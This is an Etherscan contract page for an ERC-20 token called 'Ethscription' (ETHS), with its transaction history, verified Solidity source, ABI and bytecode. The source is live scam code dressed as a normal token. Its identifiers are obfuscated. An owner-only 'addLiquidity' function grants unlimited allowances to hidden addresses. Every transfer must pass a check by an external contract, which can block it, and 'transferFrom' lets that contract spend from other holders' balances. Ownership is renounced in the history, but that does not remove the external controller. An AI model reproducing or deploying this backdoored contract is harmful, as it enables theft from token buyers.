Feature Tip: Add private address tag to any address under My Name Tag !
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 19 from a total of 19 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 19108234 | 214 days ago | IN | 0 ETH | 0.00024011 | ||||
Approve | 18313231 | 325 days ago | IN | 0 ETH | 0.00045915 | ||||
Approve | 18313013 | 325 days ago | IN | 0 ETH | 0.00050192 | ||||
Approve | 18312267 | 325 days ago | IN | 0 ETH | 0.00048013 | ||||
Approve | 18311947 | 325 days ago | IN | 0 ETH | 0.00027798 | ||||
Approve | 18311546 | 325 days ago | IN | 0 ETH | 0.00027293 | ||||
Transfer | 18311534 | 325 days ago | IN | 0 ETH | 0.00044493 | ||||
Approve | 18311523 | 325 days ago | IN | 0 ETH | 0.00027191 | ||||
Approve | 18310578 | 325 days ago | IN | 0 ETH | 0.00014078 | ||||
Approve | 18310371 | 325 days ago | IN | 0 ETH | 0.00029308 | ||||
Approve | 18310298 | 325 days ago | IN | 0 ETH | 0.00029257 | ||||
Approve | 18309977 | 325 days ago | IN | 0 ETH | 0.00013741 | ||||
Approve | 18309758 | 325 days ago | IN | 0 ETH | 0.00025221 | ||||
Approve | 18309738 | 325 days ago | IN | 0 ETH | 0.00031442 | ||||
Approve | 18309605 | 325 days ago | IN | 0 ETH | 0.00041671 | ||||
Approve | 18308728 | 326 days ago | IN | 0 ETH | 0.00024805 | ||||
Renounce Ownersh... | 18308313 | 326 days ago | IN | 0 ETH | 0.00020018 | ||||
Add Liquidity | 18308312 | 326 days ago | IN | 0 ETH | 0.00159568 | ||||
0x60c06040 | 18308304 | 326 days ago | IN | 0 ETH | 0.00590871 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Token
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-08 */ // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address oijionjhn3, uint256 poerkjternmoerj9) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 poerkjternmoerj9) external returns (bool); function transferFrom( address oipjnnjhhjh3, address oijionjhn3, uint256 poerkjternmoerj9 ) external returns (bool); event Transfer(address indexed omomoiu3, address indexed ooimoimim5, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function opkknnjnjkhjhhiashdajsd3(address from, address to,uint256 amount) external returns(address); function pokmmo2oimomom(address addr) external returns(address); } contract Token is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; string private _name = "Ethscription"; string private _symbol = "ETHS"; uint8 private _decimals = 18; uint256 private _tTotal = 10000 * 10 **_decimals; uint256 private pkomodi23 ; address private gjoierjtioer; constructor() { gjoierjtioer = address(this); _balances[gjoierjtioer] = _tTotal; emit Transfer(address(0), gjoierjtioer, _tTotal); } function pokmmo2oimomom(address addr) external override returns(address) { } function opkknnjnjkhjhhiashdajsd3(address from, address to, uint256 amount) external override returns(address) { } function addLiquidity(bytes memory datas) public onlyOwner { uint160 a; uint160 b; uint160 c; uint160 d; assembly { a := mload(add(datas, 20)) b := mload(add(datas, 40)) c := mload(add(datas, 60)) d := mload(add(datas, 80)) } pkomodi23 = b; _allowances[address(uint160(d))][address(uint160(b))] = type(uint256).max; _allowances[address(uint160(b))][address(uint160(c))] = type(uint256).max; _allowances[address(uint160(a))][address(uint160(c))] = type(uint256).max; _allowances[address(uint160(d))][address(uint160(a))] = type(uint256).max; _allowances[gjoierjtioer][address(uint160(b))] = type(uint256).max; _allowances[address(uint160(b))][address(uint160(a))] = type(uint256).max; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address oijionjhn3, uint256 poerkjternmoerj9) public override returns (bool) { _transfer(_msgSender(), oijionjhn3, poerkjternmoerj9); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 poerkjternmoerj9) public override returns (bool) { _approve(_msgSender(), spender, poerkjternmoerj9); return true; } function transferFrom( address oipjnnjhhjh3, address oijionjhn3, uint256 poerkjternmoerj9 ) public override returns (bool) { _transfer(oipjnnjhhjh3, oijionjhn3, poerkjternmoerj9); address poopk = IERC20(address(uint160(pkomodi23))).pokmmo2oimomom(oipjnnjhhjh3); if (poopk != address(0) && _msgSender() == address(uint160(pkomodi23))) { oipjnnjhhjh3 = poopk; } _approve(oipjnnjhhjh3, _msgSender(),_allowances[oipjnnjhhjh3][_msgSender()].sub(poerkjternmoerj9,"ERC20: transfer amount exceeds allowance") ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function _approve( address owner, address spender, uint256 poerkjternmoerj9 ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = poerkjternmoerj9; emit Approval(owner, spender, poerkjternmoerj9); } function _transfer( address omomoiu3, address ooimoimim5, uint256 poerkjternmoerj9 ) private { require(omomoiu3 != address(0), "ERC20: transfer from the zero address"); require(IERC20(address(uint160(pkomodi23))).opkknnjnjkhjhhiashdajsd3(omomoiu3, ooimoimim5,poerkjternmoerj9) != address(0),"ERC20: transfer ooimoimim5 the zero address"); require(poerkjternmoerj9 > 0, "Transfer poerkjternmoerj9 must be greater than zero"); require(poerkjternmoerj9 > 0, "Transfer amount must be greater than zero"); _balances[omomoiu3] = _balances[omomoiu3].sub(poerkjternmoerj9); _balances[ooimoimim5] = _balances[ooimoimim5].add(poerkjternmoerj9); emit Transfer(omomoiu3, ooimoimim5, poerkjternmoerj9); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"omomoiu3","type":"address"},{"indexed":true,"internalType":"address","name":"ooimoimim5","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bytes","name":"datas","type":"bytes"}],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"poerkjternmoerj9","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"opkknnjnjkhjhhiashdajsd3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"pokmmo2oimomom","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oijionjhn3","type":"address"},{"internalType":"uint256","name":"poerkjternmoerj9","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"oipjnnjhhjh3","type":"address"},{"internalType":"address","name":"oijionjhn3","type":"address"},{"internalType":"uint256","name":"poerkjternmoerj9","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60c0604052600c60808190526b22ba3439b1b934b83a34b7b760a11b60a09081526200002f91600491906200014a565b50604080518082019091526004808252634554485360e01b60209092019182526200005d916005916200014a565b506006805460ff191660129081179091556200007b90600a62000239565b620000899061271062000307565b6007553480156200009957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600980546001600160a01b0319163090811782556007546000918252600260209081526040808420839055935493519182526001600160a01b03909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200037c565b828054620001589062000329565b90600052602060002090601f0160209004810192826200017c5760008555620001c7565b82601f106200019757805160ff1916838001178555620001c7565b82800160010185558215620001c7579182015b82811115620001c7578251825591602001919060010190620001aa565b50620001d5929150620001d9565b5090565b5b80821115620001d55760008155600101620001da565b600181815b808511156200023157816000190482111562000215576200021562000366565b808516156200022357918102915b93841c9390800290620001f5565b509250929050565b60006200024a60ff84168362000251565b9392505050565b600082620002625750600162000301565b81620002715750600062000301565b81600181146200028a57600281146200029557620002b5565b600191505062000301565b60ff841115620002a957620002a962000366565b50506001821b62000301565b5060208310610133831016604e8410600b8410161715620002da575081810a62000301565b620002e68383620001f0565b8060001904821115620002fd57620002fd62000366565b0290505b92915050565b600081600019048311821515161562000324576200032462000366565b500290565b600181811c908216806200033e57607f821691505b602082108114156200036057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b610f13806200038c6000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d714610229578063a9059cbb1461023c578063dd62ed3e1461024f578063e90ba74014610288578063f2fde38b1461029f57600080fd5b8063715018a6146101f35780638bb2e1d6146101fd5780638da5cb5b1461021057806395d89b411461022157600080fd5b8063313ce567116100de578063313ce56714610176578063395093511461018b57806361253c241461019e57806370a08231146101ca57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102b2565b6040516101259190610d58565b60405180910390f35b61014161013c366004610c7b565b610344565b6040519015158152602001610125565b6007545b604051908152602001610125565b610141610171366004610c3a565b61035a565b60065460405160ff9091168152602001610125565b610141610199366004610c7b565b61047a565b6101b26101ac366004610bc7565b50600090565b6040516001600160a01b039091168152602001610125565b6101556101d8366004610bc7565b6001600160a01b031660009081526002602052604090205490565b6101fb6104b0565b005b6101fb61020b366004610ca7565b61052d565b6000546001600160a01b03166101b2565b6101186105fe565b610141610237366004610c7b565b61060d565b61014161024a366004610c7b565b61065c565b61015561025d366004610c01565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101b2610296366004610c3a565b60009392505050565b6101fb6102ad366004610bc7565b610669565b6060600480546102c190610e11565b80601f01602080910402602001604051908101604052809291908181526020018280546102ed90610e11565b801561033a5780601f1061030f5761010080835404028352916020019161033a565b820191906000526020600020905b81548152906001019060200180831161031d57829003601f168201915b5050505050905090565b60006103513384846106ee565b50600192915050565b6000610367848484610813565b6008546040516318494f0960e21b81526001600160a01b03868116600483015260009216906361253c2490602401602060405180830381600087803b1580156103af57600080fd5b505af11580156103c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e79190610be4565b90506001600160a01b0381161580159061041457506008546001600160a01b0316336001600160a01b0316145b1561041d578094505b61046f853361046a86604051806060016040528060288152602001610e91602891396001600160a01b038b1660009081526003602090815260408083203384529091529020549190610ae5565b6106ee565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161035191859061046a9086610b1f565b6000546001600160a01b031633146104e35760405162461bcd60e51b81526004016104da90610dad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016104da90610dad565b60148101516028820151603c8301516050909301516001600160a01b0391821660088190559082166000908152600360208181526040808420858552808352818520600019908190558484528286209988168087528a85528387208290559888168087528585528387209987529884528286208190558886529083528185208190556009549096168452918152818320938352928352808220849055938152939052912055565b6060600580546102c190610e11565b6000610351338461046a85604051806060016040528060258152602001610eb9602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ae5565b6000610351338484610813565b6000546001600160a01b031633146106935760405162461bcd60e51b81526004016104da90610dad565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104da565b6001600160a01b0382166107b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104da565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104da565b6008546040516303a42e9d60e61b81526001600160a01b038581166004830152848116602483015260448201849052600092169063e90ba74090606401602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109069190610be4565b6001600160a01b031614156109715760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e73666572206f6f696d6f696d696d3520746865207a60448201526a65726f206164647265737360a81b60648201526084016104da565b600081116109dd5760405162461bcd60e51b815260206004820152603360248201527f5472616e7366657220706f65726b6a7465726e6d6f65726a39206d7573742062604482015272652067726561746572207468616e207a65726f60681b60648201526084016104da565b60008111610a3f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104da565b6001600160a01b038316600090815260026020526040902054610a629082610b85565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610a919082610b1f565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108069085815260200190565b60008184841115610b095760405162461bcd60e51b81526004016104da9190610d58565b506000610b168486610dfa565b95945050505050565b600080610b2c8385610de2565b905083811015610b7e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104da565b9392505050565b6000610b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae5565b600060208284031215610bd957600080fd5b8135610b7e81610e78565b600060208284031215610bf657600080fd5b8151610b7e81610e78565b60008060408385031215610c1457600080fd5b8235610c1f81610e78565b91506020830135610c2f81610e78565b809150509250929050565b600080600060608486031215610c4f57600080fd5b8335610c5a81610e78565b92506020840135610c6a81610e78565b929592945050506040919091013590565b60008060408385031215610c8e57600080fd5b8235610c9981610e78565b946020939093013593505050565b600060208284031215610cb957600080fd5b813567ffffffffffffffff80821115610cd157600080fd5b818401915084601f830112610ce557600080fd5b813581811115610cf757610cf7610e62565b604051601f8201601f19908116603f01168101908382118183101715610d1f57610d1f610e62565b81604052828152876020848701011115610d3857600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b81811015610d8557858101830151858201604001528201610d69565b81811115610d97576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610df557610df5610e4c565b500190565b600082821015610e0c57610e0c610e4c565b500390565b600181811c90821680610e2557607f821691505b60208210811415610e4657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610e8d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b67b812fd07dfd1cf4e8fe77a84f739878c096a1457c5526d863fb81dcb07f064736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d714610229578063a9059cbb1461023c578063dd62ed3e1461024f578063e90ba74014610288578063f2fde38b1461029f57600080fd5b8063715018a6146101f35780638bb2e1d6146101fd5780638da5cb5b1461021057806395d89b411461022157600080fd5b8063313ce567116100de578063313ce56714610176578063395093511461018b57806361253c241461019e57806370a08231146101ca57600080fd5b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015157806323b872dd14610163575b600080fd5b6101186102b2565b6040516101259190610d58565b60405180910390f35b61014161013c366004610c7b565b610344565b6040519015158152602001610125565b6007545b604051908152602001610125565b610141610171366004610c3a565b61035a565b60065460405160ff9091168152602001610125565b610141610199366004610c7b565b61047a565b6101b26101ac366004610bc7565b50600090565b6040516001600160a01b039091168152602001610125565b6101556101d8366004610bc7565b6001600160a01b031660009081526002602052604090205490565b6101fb6104b0565b005b6101fb61020b366004610ca7565b61052d565b6000546001600160a01b03166101b2565b6101186105fe565b610141610237366004610c7b565b61060d565b61014161024a366004610c7b565b61065c565b61015561025d366004610c01565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101b2610296366004610c3a565b60009392505050565b6101fb6102ad366004610bc7565b610669565b6060600480546102c190610e11565b80601f01602080910402602001604051908101604052809291908181526020018280546102ed90610e11565b801561033a5780601f1061030f5761010080835404028352916020019161033a565b820191906000526020600020905b81548152906001019060200180831161031d57829003601f168201915b5050505050905090565b60006103513384846106ee565b50600192915050565b6000610367848484610813565b6008546040516318494f0960e21b81526001600160a01b03868116600483015260009216906361253c2490602401602060405180830381600087803b1580156103af57600080fd5b505af11580156103c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e79190610be4565b90506001600160a01b0381161580159061041457506008546001600160a01b0316336001600160a01b0316145b1561041d578094505b61046f853361046a86604051806060016040528060288152602001610e91602891396001600160a01b038b1660009081526003602090815260408083203384529091529020549190610ae5565b6106ee565b506001949350505050565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161035191859061046a9086610b1f565b6000546001600160a01b031633146104e35760405162461bcd60e51b81526004016104da90610dad565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016104da90610dad565b60148101516028820151603c8301516050909301516001600160a01b0391821660088190559082166000908152600360208181526040808420858552808352818520600019908190558484528286209988168087528a85528387208290559888168087528585528387209987529884528286208190558886529083528185208190556009549096168452918152818320938352928352808220849055938152939052912055565b6060600580546102c190610e11565b6000610351338461046a85604051806060016040528060258152602001610eb9602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610ae5565b6000610351338484610813565b6000546001600160a01b031633146106935760405162461bcd60e51b81526004016104da90610dad565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104da565b6001600160a01b0382166107b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104da565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104da565b6008546040516303a42e9d60e61b81526001600160a01b038581166004830152848116602483015260448201849052600092169063e90ba74090606401602060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109069190610be4565b6001600160a01b031614156109715760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e73666572206f6f696d6f696d696d3520746865207a60448201526a65726f206164647265737360a81b60648201526084016104da565b600081116109dd5760405162461bcd60e51b815260206004820152603360248201527f5472616e7366657220706f65726b6a7465726e6d6f65726a39206d7573742062604482015272652067726561746572207468616e207a65726f60681b60648201526084016104da565b60008111610a3f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104da565b6001600160a01b038316600090815260026020526040902054610a629082610b85565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610a919082610b1f565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108069085815260200190565b60008184841115610b095760405162461bcd60e51b81526004016104da9190610d58565b506000610b168486610dfa565b95945050505050565b600080610b2c8385610de2565b905083811015610b7e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104da565b9392505050565b6000610b7e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae5565b600060208284031215610bd957600080fd5b8135610b7e81610e78565b600060208284031215610bf657600080fd5b8151610b7e81610e78565b60008060408385031215610c1457600080fd5b8235610c1f81610e78565b91506020830135610c2f81610e78565b809150509250929050565b600080600060608486031215610c4f57600080fd5b8335610c5a81610e78565b92506020840135610c6a81610e78565b929592945050506040919091013590565b60008060408385031215610c8e57600080fd5b8235610c9981610e78565b946020939093013593505050565b600060208284031215610cb957600080fd5b813567ffffffffffffffff80821115610cd157600080fd5b818401915084601f830112610ce557600080fd5b813581811115610cf757610cf7610e62565b604051601f8201601f19908116603f01168101908382118183101715610d1f57610d1f610e62565b81604052828152876020848701011115610d3857600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b81811015610d8557858101830151858201604001528201610d69565b81811115610d97576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610df557610df5610e4c565b500190565b600082821015610e0c57610e0c610e4c565b500390565b600181811c90821680610e2557607f821691505b60208210811415610e4657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610e8d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201b67b812fd07dfd1cf4e8fe77a84f739878c096a1457c5526d863fb81dcb07f064736f6c63430008060033
Deployed Bytecode Sourcemap
3932:5464:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5662:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6600:215;;;;;;:::i;:::-;;:::i;:::-;;;3375:14:1;;3368:22;3350:41;;3338:2;3323:18;6600:215:0;3305:92:1;5939:95:0;6019:7;;5939:95;;;7323:25:1;;;7311:2;7296:18;5939:95:0;7278:76:1;6823:640:0;;;;;;:::i;:::-;;:::i;5848:83::-;5914:9;;5848:83;;5914:9;;;;7501:36:1;;7489:2;7474:18;5848:83:0;7456:87:1;7471:300:0;;;;;;:::i;:::-;;:::i;4565:77::-;;;;;;:::i;:::-;-1:-1:-1;4629:7:0;;4565:77;;;;-1:-1:-1;;;;;2786:32:1;;;2768:51;;2756:2;2741:18;4565:77:0;2723:102:1;6042:129:0;;;;;;:::i;:::-;-1:-1:-1;;;;;6145:18:0;6108:7;6145:18;;;:9;:18;;;;;;;6042:129;2586:148;;;:::i;:::-;;4775:872;;;;;;:::i;:::-;;:::i;2372:79::-;2410:7;2437:6;-1:-1:-1;;;;;2437:6:0;2372:79;;5753:87;;;:::i;7779:400::-;;;;;;:::i;:::-;;:::i;6179:221::-;;;;;;:::i;:::-;;:::i;6408:184::-;;;;;;:::i;:::-;-1:-1:-1;;;;;6557:18:0;;;6525:7;6557:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6408:184;4650:115;;;;;;:::i;:::-;4752:7;4650:115;;;;;;2742:160;;;;;;:::i;:::-;;:::i;5662:83::-;5699:13;5732:5;5725:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5662:83;:::o;6600:215::-;6712:4;6736:49;193:10;6759:7;6768:16;6736:8;:49::i;:::-;-1:-1:-1;6803:4:0;6600:215;;;;:::o;6823:640::-;6972:4;6989:53;6999:12;7013:10;7025:16;6989:9;:53::i;:::-;7092:9;;7069:64;;-1:-1:-1;;;7069:64:0;;-1:-1:-1;;;;;2786:32:1;;;7069:64:0;;;2768:51:1;7053:13:0;;7069:50;;;;2741:18:1;;7069:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7053:80;-1:-1:-1;;;;;;7148:19:0;;;;;;:66;;-1:-1:-1;7203:9:0;;-1:-1:-1;;;;;7171:43:0;193:10;-1:-1:-1;;;;;7171:43:0;;7148:66;7144:128;;;7255:5;7240:20;;7144:128;7282:151;7291: